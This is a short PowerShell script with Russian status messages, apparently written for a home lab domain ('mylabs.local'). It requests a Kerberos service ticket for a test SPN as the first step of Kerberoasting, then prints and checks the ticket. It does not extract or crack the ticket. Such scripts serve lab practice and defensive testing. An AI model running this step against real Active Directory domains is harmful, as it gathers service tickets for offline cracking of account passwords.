Загрузка данных


Write-Host "[*] Очистка старого кэша Kerberos билетов..." -ForegroundColor Cyan
klist purge | Out-Null

Write-Host "[*] Запрос TGS-билета (Kerberoasting) для HTTP/fake-service1.mylabs.local..." -ForegroundColor Cyan
try {
    Add-Type -AssemblyName System.IdentityModel
    $Token = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/fake-service1.mylabs.local"
    
    Write-Host "[+] Успешно! Билет получен и сохранен в памяти." -ForegroundColor Green
    Write-Host "`n--- Информация о билете ---" -ForegroundColor Yellow
    $Token | Select-Object ServicePrincipalName, ValidFrom, ValidTo | Format-List
    
    Write-Host "[*] Проверка кэша через klist:" -ForegroundColor Cyan
    klist | Select-String -Pattern "HTTP/fake-service1.mylabs.local" -Context 0,3
}
catch {
    Write-Error "[-] Не удалось запросить билет. Проверьте, добавлен ли SPN пользователю в AD."
}